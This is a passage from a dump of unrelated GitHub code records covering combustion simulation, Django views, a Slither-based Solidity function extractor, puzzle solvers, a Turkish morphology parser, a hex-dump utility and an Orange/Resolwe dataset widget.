9.0*1.0e-4\n \n env = ct.Reservoir(gas)\n w = ct.Wall(cstr, env, A=2.0, U=5.0)\n \n\n sccm = 1.25\n \n mdot = 2.5032937555891818e-08\n vdot =2.5032937555891818e-08/gas.density\n mfc = ct.MassFlowController(upstream, cstr, mdot=mdot)\n\n downstream = ct.Reservoir(gas)\n v = ct.Valve(cstr, downstream, K=0.01) \n \n restime=cstr.volume/ vdot\n \n network = ct.ReactorNet([cstr])\n \n states = ct.SolutionArray(gas, extra=['t'])\n for t in t_eval:\n network.advance(t)\n states.append(cstr.thermo.state, t=t)\n\n aliases = {'H2': 'H$_2$', 'O2': 'O$_2$', 'H2O': 'H$_2$O'}\n \n for name, alias in aliases.items():\n gas.add_species_alias(name, alias)\n \n temp=np.array([states.T]).reshape(len(t_eval))\n conc=np.array([states('H2').X]).reshape(len(t_eval))\n sol = np.array([[conc], [temp]]).reshape(2,len(t_eval))\n \n solution=sol.T\n \n df = pd.DataFrame(data=np.array([sol[0],sol[1]]).T,index=t_eval,columns=[\"x1\",\"x2\"],) \n return solution,df\n\ndef H2_combustion2(t_eval,ic) : \n gas = ct.Solution('h2o2.yaml')\n\n p = 9.0*133.3\n\n gas.TPX = ic[1], p, {'H2':ic[0],'O2':0.14,'N2':(1.0-0.14-ic[0])}\n \n \n upstream = ct.Reservoir(gas)\n cstr = ct.IdealGasConstPressureReactor(gas)\n cstr.volume =5.0e-6#-4\n \n env = ct.Reservoir(gas)\n w = ct.Wall(cstr, env, A=2.0, U=0.035)#0.02)\n \n\n mdot = 70.5032937555891818e-08#gas.density * vdot # kg/s\n mfc = ct.MassFlowController(upstream, cstr, mdot=mdot)\n\n downstream = ct.Reservoir(gas)\n pressure_regulator = ct.MassFlowController(cstr, downstream, mdot=mdot)\n\n network = ct.ReactorNet([cstr])\n \n states = ct.SolutionArray(gas, extra=['t'])\n for t in t_eval:\n network.advance(t)\n \n states.append(cstr.thermo.state, t=t)\n\n aliases = {'H2': 'H$_2$', 'O2': 'O$_2$', 'H2O': 'H$_2$O'}\n \n for name, alias in aliases.items():\n gas.add_species_alias(name, alias)\n \n temp=np.array([states.T]).reshape(len(t_eval))\n conc=np.array([states('H2').X]).reshape(len(t_eval))\n sol = np.array([[conc], [temp]]).reshape(2,len(t_eval))\n \n solution=sol.T\n\n df = pd.DataFrame(data=np.array([sol[0],sol[1]]).T,index=t_eval,columns=[\"x1\",\"x2\"],) \n return solution,df\n\n\n\n\n\n","repo_name":"christinanb/hydrogen_combustion_EDMD","sub_path":"src/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":4447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4577357090","text":"\nfrom django.shortcuts import HttpResponseRedirect, render, HttpResponse\nfrom django.views.generic import (\n ListView,\n CreateView,\n UpdateView,\n DeleteView\n)\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom apps.players.forms import PlayerForm, StatisticForm\nfrom apps.players.models import Player\n\nfrom django.template.loader import get_template\nfrom django.template import Context\nimport pdfkit\n\n# Create your views here.\n\n\nclass ListPlayer(ListView):\n model = Player\n template_name = 'players/index.html'\n\n\nclass CreatePlayer(CreateView):\n model = Player\n form_class = PlayerForm\n template_name = 'players/create.html'\n success_url = reverse_lazy('players:list')\n\n def get_context_data(self, **kwargs):\n context = super(CreatePlayer, self).get_context_data(**kwargs)\n form_statistic = StatisticForm\n context['form_statistic'] = form_statistic\n return context\n\n def post(self, request, *args, **kwargs):\n form = self.get_form()\n form_statistic = StatisticForm(request.POST)\n if form.is_valid() and form_statistic.is_valid():\n return self.form_valid(form, form_statistic)\n else:\n return self.form_invalid(form)\n\n def form_valid(self, form, form_statistic):\n self.player = form.save()\n form_statistic.instance.player = self.player\n form_statistic.save()\n return super(CreatePlayer, self).form_valid(form)\n\n\nclass EditPlayer(UpdateView):\n model = Player\n form_class = PlayerForm\n template_name = 'players/edit.html'\n success_url = reverse_lazy('players:list')\n\n def get_context_data(self, **kwargs):\n context = super(EditPlayer, self).get_context_data(**kwargs)\n try:\n statistic = self.get_object().statistic\n form_statistic = StatisticForm(instance=statistic)\n except ObjectDoesNotExist:\n form_statistic = StatisticForm()\n context['form_statistic'] = form_statistic\n return context\n\n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n print(self.object)\n form = self.form_class(\n request.POST,\n request.FILES,\n instance=self.object\n )\n print(form)\n statistic = self.get_object().statistic\n form_statistic = StatisticForm(request.POST, instance=statistic)\n if form.is_valid() and form_statistic.is_valid():\n return self.form_valid(form, form_statistic)\n else:\n return self.form_invalid(form)\n\n def form_valid(self, form, form_statistic):\n self.object = form.save()\n form_statistic.save()\n return HttpResponseRedirect(self.get_success_url())\n\n\nclass DeletePlayer(DeleteView):\n model = Player\n success_url = reverse_lazy('players:list')\n\n def get(self, request, *args, **kwargs):\n return self.post(request, *args, **kwargs)\n\n\ndef report_player(request, pk):\n print('fdkjhjfhdlkl')\n host = request.get_host()\n print(host)\n template = get_template('reports/players/by_player.html')\n print('fdkjfn', template)\n html = template.render()\n print('fdkjfnwwwwwwwwww', html)\n\n pdf = pdfkit.from_string(html, 'fvl.pdf')\n response = HttpResponse(pdf, content_type='application/pdf')\n response['Content-Disposition'] = 'attachment; filename=\"ourcodeworld.pdf\"'\n\n return response # returns the response.\n\ndef test_report(request):\n\n return render(request, 'reports/players/by_player.html', {})\n\ndef send_email(request):\n pass\n","repo_name":"xeroz/admin-django","sub_path":"apps/players/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14647194682","text":"from slither.slither import Slither, SlitherError\nimport dill as pickle\nimport os\nimport linecache\nfrom backend.utils.utils import get_files_path, process_bar, \\\n add_internal_for_functions, get_lines_by_pos\nimport shutil\n\n# 目前支持的合约版本\nsolidity_version_support_list = ['0.4.10', '0.4.11', '0.4.12', '0.4.13', '0.4.14',\n '0.4.15', '0.4.16', '0.4.17', '0.4.18', '0.4.19',\n '0.4.20', '0.4.21', '0.4.22', '0.4.23', '0.4.24']\n\n# 异常均在异常发生时处理,上级传递None结果\nError_list = {\n \"error_contract_list\": [],\n \"slither_error_list\": [],\n \"complier_error_list\": [],\n \"unicodeDecode_error_list\": [],\n \"error_funSig_list\": [],\n \"extract_model_error\": [],\n \"lines_key_error_list\": [], # Slither的函数定位问题,比较少见\n \"funSig_not_found\": [] # 函数签名找不到对应的原函数\n}\n\n# 当前合约版本\nnow_version = \"0.4.13\" # 这里可以用正则匹��从合约文本中获取\n\n\n# 此函数通过读取原文件的函数代码,把修改后的部分还原\n# 返回两个字符串,第一个是原字符串,第二个是修改后的字符串\n# 返回的两个结果用于在原文中替换\ndef recovery_fun_code(ori_file_path, line_pos_list):\n ori_line_list = []\n changed_line_list = []\n for line_pos in line_pos_list:\n ori_line_list.append(linecache.getline(ori_file_path, line_pos))\n changed_line_list.append(linecache.getline(\"./tmp.sol\", line_pos))\n\n ori_text = \"\".join(ori_line_list)\n changed_text = \"\".join(changed_line_list)\n # 清空缓存\n linecache.clearcache()\n return ori_text, changed_text\n\n\nclass FunctionCodeBuilder:\n data_files_path = \"../test_contracts/\"\n output_path = \"../tmp_files/ok_contract_files/\"\n\n # 要删除的关键字列表\n remove_word_list = [\"payable\", \"view\"]\n\n # 最终编译通过的合约版本\n final_version_dic = {}\n\n # 当前处理的合约的信息\n now_file_path = \"\"\n now_contract_name = \"\" # 合约名就是主合约的名字\n\n def __init__(self):\n self.data_files_path_list = list(get_files_path(self.data_files_path))\n\n def main(self):\n count = 0\n padding_count = 0\n ok_count = 0\n\n for file_path in self.data_files_path_list:\n # 进度条显示\n count += 1\n print(\"{}/{}\\t{}/{}\".format(ok_count, padding_count, count, self.data_files_path_list.__len__()))\n process_bar(count / self.data_files_path_list.__len__())\n\n # 处理合约的信息变量\n self.now_file_path = file_path\n self.now_contract_name = self.now_file_path.split(\"/\")[-1].replace(\".sol\", \"\")\n\n # debug\n \"\"\"\n if self.now_contract_name == \"0xcabf96a41a4d98ee91d4fb1004dc4b3b8548cb53\":\n a = 0\n else:\n continue\n \"\"\"\n\n # 获取slither对原合约的分析结果\n slither_returns = self.get_slither_res()\n if slither_returns is None:\n continue\n else:\n slither_res, main_contract_analysis_res, final_version = \\\n slither_returns[0], slither_returns[1], slither_returns[2]\n\n padding_count += 1\n # 获得模板代码,如果模板代码返回值为None,说明生成过程有误,记录并跳过此合约\n model_code_str = self.get_code_mould(slither_res, main_contract_analysis_res)\n if model_code_str is None:\n continue\n # 使用模板为每个合约函数生成目标代码\n self.create_code_file_for_function(model_code_str, slither_res, main_contract_analysis_res)\n self.final_version_dic[self.now_contract_name] = final_version\n\n if os.path.exists(self.output_path + self.now_contract_name):\n ok_count += 1\n\n pickle.dump(self.final_version_dic, open(\"../tmp_files/log_pkl/modify_code/final_version.pkl\", \"wb\"))\n\n def get_slither_res(self):\n \"\"\"\n :param\n\n :returns:\n slither_res: slither对合约文件内所有合约的分析结果\n main_contract_analysis_res: slither对合约文件内的主合约的分析结果\n final_version: 合约最终能够编译的版本\n '''\n 获得Slither分析结果,根据Slither结果得到生成目标函数CFG的代码\n '''\n \"\"\"\n # 合约信息\n # 剔除没有版本标识的合约\n final_version = ori_version = now_version\n ori_version_dix = solidity_version_support_list.__len__()\n\n slither_res = None\n # 使用默认版本的编译器进行编译\n try:\n # 更改solc编译器版本\n os.system('solc-select use {}'.format(ori_version))\n # 使用slither分析函数\n slither_res = Slither(self.now_file_path).contracts\n final_version = ori_version\n # 编码有问题,所以不进行进一步尝试\n except UnicodeDecodeError:\n Error_list[\"unicodeDecode_error_list\"].append(self.now_file_path)\n return None\n # 如果默认版本没有通过编译则使用剩余的所有版本进行尝试\n except SlitherError:\n for idx, try_version in enumerate(solidity_version_support_list):\n # 编译剩余版本时,使循环快进到失败版本之后的版本\n if idx <= ori_version_dix:\n continue\n try:\n os.system('solc-select use {}'.format(try_version))\n slither_res = Slither(self.now_file_path).contracts\n # 当编译成功时跳出尝试,且记录下编译成功的版本\n final_version = try_version\n break\n except SlitherError:\n continue\n # 多余???\n except UnicodeDecodeError:\n Error_list[\"unicodeDecode_error_list\"].append(self.now_contract_name)\n return None\n # 基类报错,slither本身分析有误,所以不进行进一步尝试\n except Exception:\n Error_list[\"slither_error_list\"].append(self.now_contract_name)\n return None\n # 尝试所有结果后均无结果,返回None\n if slither_res is None:\n Error_list[\"complier_error_list\"].append(self.now_contract_name)\n return None\n\n main_contract_analysis_res = None\n for contract_analysis_res in slither_res:\n if contract_analysis_res.name == self.now_contract_name:\n main_contract_analysis_res = contract_analysis_res\n\n return slither_res, main_contract_analysis_res, final_version\n\n def get_code_mould(self, slither_res, main_contract_analysis_res):\n \"\"\"\n 读取合约文件内的文本,进行一些粗略修改替换\n ①把\"payable\", \"view\"关键字删除;\n ②把所有\"public\"关键字改成\"internal\"\n ③把每个合约的构造函数\"internal\"改成\"public\"\n\n :return:\n contract_text:是一个模板字符串,把\"payable\",\"view\"等关键字剔除,把除构造以外的所有函数的修饰符都改成\"internal\"\n\n ‘’‘\n 生成模板代码字符串,下一步需要替换对应函数的修饰符为\"internal\"\n ’‘’\n \"\"\"\n\n # 读取合约文件的内容\n f = open(self.now_file_path, \"rb\")\n # 将换行符统一换成\"\\n\"\n contract_text = f.read().decode(\"utf-8\", errors=\"ignore\").replace(\"\\r\\n\", \"\\n\")\n\n # 把合约内没有修饰符的函数都添加internal修饰符\n for contract in slither_res:\n for fun in contract.functions_entry_points:\n # fallback函数删除\n if \"fallback()\" in fun.full_name:\n try:\n contract_text = contract_text.replace(\n get_lines_by_pos(self.now_file_path, fun.source_mapping[\"lines\"]),\n \"\\n\" * fun.source_mapping[\"lines\"].__len__())\n except KeyError:\n # Slither找不到函数的行定位\n Error_list[\"lines_key_error_list\"].append(self.now_contract_name + \":\" + fun.full_name)\n continue\n\n # fallback以外的函数进行替换\n else:\n try:\n ori_constructor_text, changed_constructor_text = add_internal_for_functions(\n self.now_file_path, fun.source_mapping[\"lines\"])\n contract_text = contract_text.replace(ori_constructor_text, changed_constructor_text)\n except KeyError:\n # Slither找不到函数的行定位\n Error_list[\"lines_key_error_list\"].append(self.now_contract_name + \":\" + fun.full_name)\n continue\n\n # 删除一些关键字,比如”payable“,\"view\"\n for remove_word in self.remove_word_list:\n contract_text = contract_text.replace(remove_word, \"\")\n # 把所有\"public\"改成\"internal\"\n contract_text = contract_text.replace(\"public\", \"internal\")\n # !!!!!!!!!!!!!!!!!!!!!!!! external类型的函数也会生成ABI接口,会影响CFG的提取\n # contract_text = contract_text.replace(\"external\", \"internal\")\n\n with open(\"./tmp.sol\", \"w\", encoding=\"utf-8\") as f:\n f.write(contract_text)\n\n # 把所有构造函数的\"internal\"改成\"public\"\n for contract in slither_res:\n # 非构造函数不去检查\n if contract.constructor is None:\n continue\n else:\n try:\n ori_constructor_text, changed_constructor_text = \\\n recovery_fun_code(self.now_file_path, contract.constructor.source_mapping[\"lines\"])\n # 把修改后的构造函数还原\n # ori表示原始合约函数字符串,changed表示认为修改后的字符串\n contract_text = contract_text.replace(changed_constructor_text, ori_constructor_text)\n except KeyError:\n Error_list[\"lines_key_error_list\"].append(self.now_contract_name)\n return None\n \"\"\"\n # 把合约的fallback还原\n for fun in main_contract_analysis_res.functions_entry_points:\n if \"fallback()\" in fun.full_name:\n try:\n ori_constructor_text, changed_constructor_text = \\\n recovery_fun_code(self.now_file_path, fun.source_mapping[\"lines\"])\n contract_text = contract_text.replace(changed_constructor_text, ori_constructor_text)\n break\n except KeyError:\n Error_list[\"lines_key_error_list\"].append(self.now_contract_name + \":\" + fun.full_name)\n return None\n \"\"\"\n\n # 将非继承的合约内容还原\n inheritance_contract_list = list(map(lambda x: x.name, main_contract_analysis_res.inheritance))\n inheritance_contract_list.append(main_contract_analysis_res.name)\n for contract in slither_res:\n if contract.name in inheritance_contract_list:\n continue\n else:\n try:\n ori_text, changed_text = recovery_fun_code(self.now_file_path, contract.source_mapping[\"lines\"])\n contract_text = contract_text.replace(changed_text, ori_text)\n except KeyError:\n Error_list[\"lines_key_error_list\"].append(self.now_contract_name)\n return None\n # 覆盖写入临时文本文件\n with open(\"./tmp.sol\", \"w\", encoding=\"utf-8\") as f:\n f.write(contract_text)\n return contract_text\n\n def create_code_file_for_function(self, code_model_str, slither_res, main_slither_res):\n \"\"\"\n :param slither_res: slither的全部解析结果\n :param code_model_str: 合约模板代码\n :param main_slither_res: 主合约的slither分析结果\n\n '''\n 使用代码模板生成仅目标函数为public的合约代码,并且保存到为文件,文件名为\"地址:函数签名\"\n '''\n \"\"\"\n\n model_code_file_path = \"{}{}/model_contract.sol\".format(self.output_path, self.now_contract_name)\n\n if not os.path.exists(self.output_path + self.now_contract_name):\n os.makedirs(self.output_path + self.now_contract_name)\n with open(model_code_file_path, \"w\", encoding=\"utf-8\") as f:\n f.write(code_model_str)\n # 此时用slither检测一下模板,如果有问题则会抛出SlitherError异常,说明这个合约不适用\n try:\n _ = Slither(model_code_file_path)\n except SlitherError:\n Error_list[\"extract_model_error\"].append(self.now_contract_name)\n # 删除掉无用的生成结果\n shutil.rmtree(self.output_path + self.now_contract_name)\n return\n\n ok_count = 0 # 成功合约函数计数\n # 给每一个有历史Gas的函数匹配对应的函数签名\n for slither_fun in main_slither_res.functions:\n fun_name = slither_fun.full_name\n try:\n ori_fun_contract_text, changed_fun_contract_text = recovery_fun_code(\n self.now_file_path, slither_fun.source_mapping[\"lines\"])\n except KeyError:\n Error_list[\"lines_key_error_list\"].append(self.now_contract_name + \":\" + fun_name)\n raise SlitherError\n final_fun_contract_text = code_model_str.replace(changed_fun_contract_text, ori_fun_contract_text)\n\n # 还原非主合约的与目标函数同名的函数代码,通常是抽象合约的函数声明\n for slither in slither_res:\n # 跳过主合约\n if slither == main_slither_res:\n continue\n for _slither_fun in slither.functions:\n if fun_name == _slither_fun.full_name:\n try:\n ori_fun_contract_text, changed_fun_contract_text = recovery_fun_code(\n self.now_file_path, _slither_fun.source_mapping[\"lines\"])\n except KeyError:\n raise SlitherError\n final_fun_contract_text = final_fun_contract_text.replace(changed_fun_contract_text,\n ori_fun_contract_text)\n\n file_save_path = \"{}{}/{}.sol\".format(self.output_path, self.now_contract_name, slither_fun.name)\n with open(file_save_path, \"w\", encoding=\"utf-8\") as f:\n f.write(final_fun_contract_text)\n # 使用slither测试编译的目标函数代码\n try:\n _ = Slither(file_save_path)\n except Exception:\n Error_list[\"error_funSig_list\"].append(\"{}:{}\".format(self.now_contract_name, slither_fun.name))\n ok_count += 1\n # 如果都失败了 删除整个中间文件夹\n if ok_count == 0:\n shutil.rmtree(self.output_path + self.now_contract_name)\n\n \"\"\"\n 后面有空再调整\n def save_log(self):\n pickle.dump(Error_list, open(\"../data/log_pkl/modify_code/error.pkl\", \"wb\"))\n pickle.dump(self.final_version_dic, open(\"../data/log_pkl/modify_code/final_version.pkl\", \"wb\"))\n pickle.dump(self.funSig2funName_dic, open(\"../data/log_pkl/modify_code/funSig2funName_dic.pkl\", \"wb\"))\n \"\"\"\n\n\nif __name__ == '__main__':\n c = FunctionCodeBuilder()\n c.main()\n \"\"\"\n c.save_log()\n \"\"\"\n","repo_name":"ddy-ddy/gas-predict","sub_path":"backend/utils/modify_code_for_test.py","file_name":"modify_code_for_test.py","file_ext":"py","file_size_in_byte":16006,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"69991112251","text":"from collections import deque\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\nn, k = map(int, input().split())\r\n\r\n\r\n\r\narr = [0] * (100000 + 1)\r\n\r\nque = deque()\r\nque.append(n)\r\n\r\ndef move(x):\r\n return [x-1, x+1, x*2]\r\n\r\ndef bfs():\r\n\r\n while que:\r\n v = que.popleft()\r\n if v == k:\r\n break;\r\n moving = move(v)\r\n for nx in moving:\r\n if (0 <= nx <= 100000) and arr[nx] == 0:\r\n que.append(nx)\r\n arr[nx] = arr[v] + 1\r\n\r\n\r\n\r\nbfs()\r\nprint(arr[k])","repo_name":"joey0919/coding_test_with_py","sub_path":"DFS&BFS/백준1697_숨바꼭질.py","file_name":"백준1697_숨바꼭질.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9795395010","text":"\n\nmovement = []\nblocks = [\n [\n [True, True, True, True]\n ],\n [\n [False, True, False],\n [True, True, True],\n [False, True, False]\n ],\n [\n [True, True, True],\n [False, False, True],\n [False, False, True]\n ],\n [\n [True],\n [True],\n [True],\n [True]\n ],\n [\n [True, True],\n [True, True]\n ]\n]\n\nchamber = []\nchamber_width = 7\n\ndef print_chamber():\n for x in range(len(chamber)):\n for spot in chamber[-x - 1]:\n if(spot):\n print(u\"\\u2588\", end=\"\")\n else:\n print(u\"\\u25A1\", end=\"\")\n print()\n\ndef main():\n global movement\n file = open(\"day17/input.txt\")\n movement = [*file.read()]\n done = False\n top = 0\n block_index = 0\n movement_index = 0\n for x in range(2022):\n block = blocks[block_index]\n #Increase chamber size\n while(len(chamber) < top + 3 + len(block)):\n chamber.append([False] * chamber_width)\n #Simulate blocks\n offset = [top + 3, 2]\n falling = True\n gas_move = True\n while(falling):\n next_move = [0, 0]\n #Gas\n if(gas_move):\n if(movement[movement_index] == \">\"):\n if(offset[1] + len(block[0]) < chamber_width):\n next_move[1] += 1\n else:\n if(offset[1] > 0):\n next_move[1] -= 1\n movement_index = (movement_index + 1) % len(movement)\n else:\n next_move[0] -= 1\n #Check for collisions\n collision = False\n for block_y, row in enumerate(block):\n for block_x, b in enumerate(row):\n if((block_y + offset[0] + next_move[0]) < 0):\n collision = True\n if b and chamber[block_y + offset[0] + next_move[0]][block_x + offset[1] + next_move[1]]:\n collision = True\n if(collision):\n if(not gas_move):\n falling = False\n else:\n offset[0] += next_move[0]\n offset[1] += next_move[1]\n gas_move = not gas_move\n for block_y, row in enumerate(block):\n for block_x, b in enumerate(row):\n if b:\n chamber[block_y + offset[0]][block_x + offset[1]] = b\n top = max(top, offset[0] + len(block))\n block_index = (block_index + 1) % len(blocks)\n print(top)\n\n\n \n \n\n\nif __name__ == \"__main__\":\n main()","repo_name":"RaymondLiu777/AoC_2022","sub_path":"day17/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20480486582","text":"import zeyrek\nimport json\nimport numpy as np\n\nclass MorphAnalyzer:\n def __init__(self):\n self.analyzer = zeyrek.MorphAnalyzer()\n\n def get_time(self, morph_list):\n time = None\n if \"Prog1\" in morph_list: time = \"Present1\"\n if \"Prog2\" in morph_list: time = \"Present2\"\n if \"Aor\" in morph_list: time = \"Present\"\n if \"Cop\" in morph_list: time = \"Present\"\n if \"Fut\" in morph_list: time = \"Fut\"\n if \"Past\" in morph_list: time = \"Past\"\n return time\n\n def word_parse(self, token):\n parses = self.analyzer.analyze(token)[0]\n possible = []\n for parse in parses:\n pos = parse.pos\n suff = parse.morphemes[-1]\n time = self.get_time(parse.morphemes)\n if pos == \"Verb\": \n if time != None:\n nonterminal = \"VP\"\n if \"Past\" in time: nonterminal += \"PAST\"\n elif \"Present\" in time: nonterminal += \"PRE\"\n elif \"Fut\" in time: nonterminal += \"FUT\"\n\n if suff == \"A1pl\": nonterminal += \"1PL\"\n elif suff == \"A1sg\": nonterminal += \"1\"\n elif suff == \"A2pl\": nonterminal += \"2PL\"\n elif suff == \"A2sg\": nonterminal += \"2\"\n elif suff == \"A3pl\": nonterminal += \"3PL\"\n elif suff == \"A3sg\": nonterminal += \"3\"\n\n possible.append(nonterminal)\n elif \"Imp\" in parse.morphemes:\n possible.append(\"VPIMP\")\n \n else: continue\n elif suff == \"Gen\":\n nonterminal = \"GENITIVE\"\n if \"1pl\" in parse.morphemes[-2]: nonterminal += \"1PL\"\n elif \"1sg\" in parse.morphemes[-2]: nonterminal += \"1\"\n elif \"2pl\" in parse.morphemes[-2]: nonterminal += \"2PL\"\n elif \"2sg\" in parse.morphemes[-2]: nonterminal += \"2\"\n elif \"3pl\" in parse.morphemes[-2]: nonterminal += \"3PL\"\n elif \"3sg\" in parse.morphemes[-2]: nonterminal += \"3\"\n possible.append(nonterminal)\n \n elif pos == \"Noun\":\n nonterminal = \"NP\"\n\n if \"P1pl\" in suff: nonterminal += \"1PL\"\n elif \"P1sg\" in suff: nonterminal += \"1\"\n elif \"P2pl\" in suff: nonterminal += \"2PL\"\n elif \"P2sg\" in suff: nonterminal += \"2\"\n elif \"P3pl\" in suff: nonterminal += \"3PL\"\n elif \"P3sg\" in suff: nonterminal += \"3\"\n elif \"A3pl\" in suff: nonterminal += \"3PL\"\n elif suff == \"Dat\": nonterminal = \"DAT\"\n elif suff == \"Loc\": nonterminal = \"LOC\"\n elif suff == \"Abl\": nonterminal = \"ABL\"\n elif suff == \"Acc\": nonterminal += \"ACC\"\n\n possible.append(nonterminal)\n elif pos == \"Pron\":\n \n nonterminal = \"PRO\"\n if \"1pl\" in suff: nonterminal += \"1PL\"\n elif \"1sg\" in suff: nonterminal += \"1\"\n elif \"2pl\" in suff: nonterminal += \"2PL\"\n elif \"2sg\" in suff: nonterminal += \"2\"\n elif \"3pl\" in suff: nonterminal += \"3PL\"\n elif \"3sg\" in suff: nonterminal += \"3\"\n\n possible.append(nonterminal)\n return [nonterminal]\n\n elif token.endswith(\"le\"):\n possible.append(\"ADV\")\n\n elif \"ADV\" in pos.upper():\n possible.append(\"ADV\")\n \n elif \"ADJ\" in pos.upper():\n if \"Verb\" in parse.morphemes: possible.append(\"PREQ\")\n \n possible.append(\"ADJ\")\n\n elif \"Ques\" == pos:\n possible.append(\"Q\")\n \n else: possible.append(pos.upper())\n \n return possible ","repo_name":"GoktugOcal/turkish-syntactic-parser","sub_path":"tr_syntactic_parser/tools/morph_analyze.py","file_name":"morph_analyze.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27563334531","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ndef hex_dump(src, length=16, encoding=\"utf8\"):\n return hex_Bin_dump(bytes(src, encoding=encoding), length)\n\n\ndef hex_Bin_dump(bin, length=16, start=0, end=None):\n result = []\n codeWidth = 2\n\n def hexRowGen(arr):\n # py3:int(2)/int(2)=>float(1)\n # py3:int(2)//int(2)=>int(1)\n return ' '.join(hexArray[:length // 2]) + \" - \" + ' '.join(hexArray[length // 2:length]) if len(arr) > length // 2 else ' '.join(hexArray)\n\n for index in range(0, len(bin), length):\n block = bin[index:index + length]\n hexArray = [\"{hexValue:0>{hexLength}}\".format(\n hexValue=hex(x)[2:].upper(), hexLength=codeWidth) for x in block]\n hexRow = hexRowGen(hexArray)\n textArray = [chr(x) if 0x20 <= x <= 0x7f else '.' for x in block]\n text = ''.join([x for x in textArray])\n result.append(\"{rowNum_hex:0>4} {hexContent:<{hexRowlength}} |{textContent:<{textlength}}|\".format(rowNum_hex=hex(\n index // 16)[2:].upper(), hexContent=hexRow, hexRowlength=length * (codeWidth + 1), textContent=text, textlength=length))\n if start > len(result):\n start = len(result) - 1\n end = None\n return('\\n'.join(result[start:end]))\n","repo_name":"zhzLuke96/Hex_dump","sub_path":"src/hexdump.py","file_name":"hexdump.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13623899718","text":"from django.shortcuts import render, redirect\nfrom .models import User, Event, Submission\n# Create your views here.\n\n\ndef home_page(request):\n\tusers = User.objects.filter(hackathon_participants=True)\n\tevents = Event.objects.all()\n\tcontext = {\n\t\t'title' : 'Home Event',\n\t\t'users' : users,\n\t\t'events' : events\n\t}\n\treturn render(request, 'home.html', context)\n\n\ndef event_page(request, pk):\n\tevent = Event.objects.get(id=pk)\n\t\n\tcontext = {\n\t\t'title' : 'Register Event',\n\t\t'event' : event,\n\t\t\n\t} \n\treturn render(request, 'event.html', context)\n\ndef confirmation_event_page(request, pk):\n\tevent = Event.objects.get(id=pk)\n\tif request.method == 'POST':\n\t\tevent.participants.add(request.user)\n\t\treturn redirect('EVENT', pk=event.id)\n\tcontext = {\n\t\t'title' : 'Confirm Event',\n\t\t'event' : event\n\t}\n\treturn render(request, 'event_confirmation.html', context)\n\n\ndef profile_page(request, pk):\n\tuser = User.objects.get(id=pk)\n\tcontext = {\n\t'title' : 'Profile Page',\n\t'user' : user\n\t}\n\treturn render(request, 'profile.html', context)\n\n\ndef account_page(request):\n\tuser = request.user\n\tcontext = {\n\t'title' : 'Account Page',\n\t'user' : user\n\t}\n\treturn render(request, 'account.html', context)","repo_name":"NishantSKumbhar/Placement_90_Days_Challenge","sub_path":"Event_Registration_System/event/mainSystem/base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"21791788819","text":"\"\"\" OWResolweDataSets \"\"\"\nimport os\nimport sys\n\n\nfrom AnyQt.QtWidgets import QLabel,QApplication\nfrom AnyQt.QtCore import QSize\n\nfrom Orange.data import Table\nfrom Orange.widgets import widget, settings, gui\nfrom Orange.widgets.utils.signals import Output, Input\nfrom Orange.widgets.widget import Msg\nfrom Orange.widgets.data.owdatasets import SizeDelegate, NumericalDelegate\n\nfrom orangecontrib.resolwe.utils import ResolweHelper\nfrom orangecontrib.resolwe.utils.gui import ResolweDataWidget\n\nfrom resdk.resources.data import Data\n\n\nclass OWResolweDataSets(widget.OWWidget):\n name = \"Resolwe Datasets\"\n description = \"Load a dataset from resolwe based server\"\n icon = \"icons/OWResolweDataSets.svg\"\n priority = 30\n\n auto_commit = settings.Setting(True)\n\n DATA_TYPE = 'singlecell'\n DESCRIPTOR_SCHEMA = 'data_info'\n\n class Error(widget.OWWidget.Error):\n no_remote_datasets = Msg(\"Could not fetch dataset list\")\n\n class Warning(widget.OWWidget.Warning):\n only_local_datasets = Msg(\"pass\")\n\n class Outputs:\n data_object = Output(\"Data Object\", Data)\n\n class Inputs:\n data_table = Input(\"Data\", Table)\n\n def __init__(self):\n super().__init__()\n info_box = gui.widgetBox(self.controlArea, \"Info\")\n self.info_label = QLabel()\n info_box.layout().addWidget(self.info_label)\n\n self.res = ResolweHelper()\n data_objects = self.res.list_data_objects(self.DATA_TYPE)\n descriptor_schema = self.res.get_descriptor_schema(self.DESCRIPTOR_SCHEMA)\n\n self.res_widget = ResolweDataWidget(data_objects, descriptor_schema)\n self.res_widget.view.selectionModel().selectionChanged.connect(self.commit)\n self.res_widget.set_target_column(self.res_widget.header.target)\n\n self.__assign_delegates()\n\n self.udpdate_info_box()\n\n self.mainArea.layout().addWidget(self.res_widget)\n\n self.controlArea.layout().addStretch(10)\n\n gui.auto_commit(self.controlArea, self, \"auto_commit\", \"&Commit\")\n\n print(os.environ.get('RESOLWE_HOST_URL'))\n print(os.environ.get('RESOLWE_API_USERNAME'))\n print(os.environ.get('RESOLWE_API_PASSWORD'))\n\n def __assign_delegates(self):\n self.res_widget.view.setItemDelegateForColumn(\n self.res_widget.header.file_size, SizeDelegate(self))\n\n self.res_widget.view.setItemDelegateForColumn(\n self.res_widget.header.cells, NumericalDelegate(self)\n )\n self.res_widget.view.setItemDelegateForColumn(\n self.res_widget.header.genes, NumericalDelegate(self)\n )\n\n def udpdate_info_box(self):\n if self.res_widget.data_objects:\n self.info_label.setText('Data objects 